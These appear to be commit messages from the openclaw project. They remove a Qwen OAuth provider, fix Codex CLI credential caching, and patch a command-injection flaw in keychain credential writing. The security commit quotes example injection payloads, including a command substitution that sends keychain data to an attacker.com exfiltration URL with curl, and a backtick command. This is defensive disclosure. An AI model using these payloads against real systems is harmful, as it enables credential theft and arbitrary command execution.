* Remove Qwen OAuth integration (qwen-portal-auth)
Qwen OAuth via portal.qwen.ai is being deprecated by the Qwen team due
to traffic impact on their primary Qwen Code user base. Users should
migrate to the officially supported Model Studio (Alibaba Cloud Coding
Plan) provider instead.
Ref: https://github.com/openclaw/openclaw/issues/49557
- Delete extensions/qwen-portal-auth/ plugin entirely
- Remove qwen-portal from onboarding auth choices, provider aliases,
auto-enable list, bundled plugin defaults, and pricing cache
- Remove Qwen CLI credential sync (external-cli-sync, cli-credentials)
- Remove QWEN_OAUTH_MARKER from model auth markers
- Update docs/providers/qwen.md to redirect to Model Studio
- Update model-providers docs (EN + zh-CN) to remove Qwen OAuth section
- Regenerate config and plugin-sdk baselines
- Update all affected tests
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* Clean up residual qwen-portal references after OAuth removal
* Add migration hint for deprecated qwen-portal OAuth provider
* fix: finish qwen oauth removal follow-up
---------
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Co-authored-by: Frank Yang <frank.ekn@gmail.com>
- invalidate cached Codex CLI credentials when auth.json changes within the TTL window
- skip external CLI sync when the stored Codex OAuth credential is newer
- cover both behaviors with focused regression tests
Refs #53466
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).
## Vulnerable Code
The previous implementation built a shell command via string
interpolation with single-quote escaping:
execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)
The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.
## Attack Vector
User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`
These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.
## Fix
execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:
execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])
This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
